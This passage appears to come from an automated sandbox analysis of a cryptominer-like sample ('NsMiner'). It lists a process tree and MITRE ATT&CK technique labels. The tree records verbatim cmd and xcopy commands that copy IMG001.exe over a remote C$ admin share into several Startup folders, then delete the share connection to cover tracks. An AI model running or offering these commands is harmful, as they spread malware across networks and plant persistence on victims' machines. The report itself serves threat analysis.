        Enumerates system info in registry
        
        PID:4092
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo f"
      4⤵
      System Location Discovery: System Language Discovery
      PID:4740
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" @ xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\C$\Documents and Settings\1\Ãëàâíîå ìåíþ\Ïðîãðàììû\Àâòîçàãðóçêà\IMG001.exe" 1>nul && @ echo copy to "\\10.127.255.255\C$\Documents and Settings\1\Ãëàâíîå ìåíþ\Ïðîãðàììû\Àâòîçàãðóçêà\IMG001.exe" "
      4⤵
      System Location Discovery: System Language Discovery
      PID:4524
    - - C:\Windows\SysWOW64\xcopy.exe
        
        xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\C$\Documents and Settings\1\Ãëàâíîå ìåíþ\Ïðîãðàììû\Àâòîçàãðóçêà\IMG001.exe"
        5⤵
        System Location Discovery: System Language Discovery
        Enumerates system info in registry
        
        PID:4504
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo f"
      4⤵
      System Location Discovery: System Language Discovery
      PID:2632
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" @ xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\C$\Documents and Settings\All Users\Ãëàâíîå ìåíþ\Ïðîãðàììû\Àâòîçàãðóçêà\IMG001.exe" 1>nul && @ echo copy to "\\10.127.255.255\C$\Documents and Settings\All Users\Ãëàâíîå ìåíþ\Ïðîãðàììû\Àâòîçàãðóçêà\IMG001.exe" "
      4⤵
      System Location Discovery: System Language Discovery
      PID:548
    - - C:\Windows\SysWOW64\xcopy.exe
        
        xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\C$\Documents and Settings\All Users\Ãëàâíîå ìåíþ\Ïðîãðàììû\Àâòîçàãðóçêà\IMG001.exe"
        5⤵
        System Location Discovery: System Language Discovery
        Enumerates system info in registry
        
        PID:232
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo f"
      4⤵
      System Location Discovery: System Language Discovery
      PID:3160
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" @ xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\C$\Windows\Profiles\1\Start Menu\Programs\Startup\IMG001.exe" 1>nul && @ echo copy to "\\10.127.255.255\C$\Windows\Profiles\1\Start Menu\Programs\Startup\IMG001.exe" "
      4⤵
      System Location Discovery: System Language Discovery
      PID:3444
    - - C:\Windows\SysWOW64\xcopy.exe
        
        xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\C$\Windows\Profiles\1\Start Menu\Programs\Startup\IMG001.exe"
        5⤵
        System Location Discovery: System Language Discovery
        Enumerates system info in registry
        
        PID:4708
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo f"
      4⤵
      System Location Discovery: System Language Discovery
      PID:1020
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" @ xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\C$\Windows\All Users\Start menu\Programs\Startup\IMG001.exe" 1>nul && @ echo copy to "\\10.127.255.255\C$\Windows\All Users\Start menu\Programs\Startup\IMG001.exe" "
      4⤵
      System Location Discovery: System Language Discovery
      PID:3864
    - - C:\Windows\SysWOW64\xcopy.exe
        
        xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\C$\Windows\All Users\Start menu\Programs\Startup\IMG001.exe"
        5⤵
        System Location Discovery: System Language Discovery
        Enumerates system info in registry
        
        PID:1580
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo f"
      4⤵
      System Location Discovery: System Language Discovery
      PID:5024
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" @ xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\C$\1\IMG001.exe" 1>nul && @ echo copy to "\\10.127.255.255\C$\1\IMG001.exe" "
      4⤵
      System Location Discovery: System Language Discovery
      PID:3508
    - - C:\Windows\SysWOW64\xcopy.exe
        
        xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\C$\1\IMG001.exe"
        5⤵
        System Location Discovery: System Language Discovery
        Enumerates system info in registry
        
        PID:1412
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.255.255\C$ /delete /y
      4⤵
      Indicator Removal: Network Share Connection Removal
      System Location Discovery: System Language Discovery
      PID:1744
  - - C:\Windows\SysWOW64\PING.EXE
      ping -n 20 localhost
      4⤵
      System Location Discovery: System Language Discovery
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:2444

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Power Settings

T1653

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Indicator Removal

T1070

Network Share Connection Removal

T1070.005

Modify Registry

T1112

Credential Access

Discovery

Network Service Discovery

T1046

Network Share Discovery

T1135

Peripheral Device Discovery

T1120

Query Registry

Remote System Discovery

T1018

System Information Discovery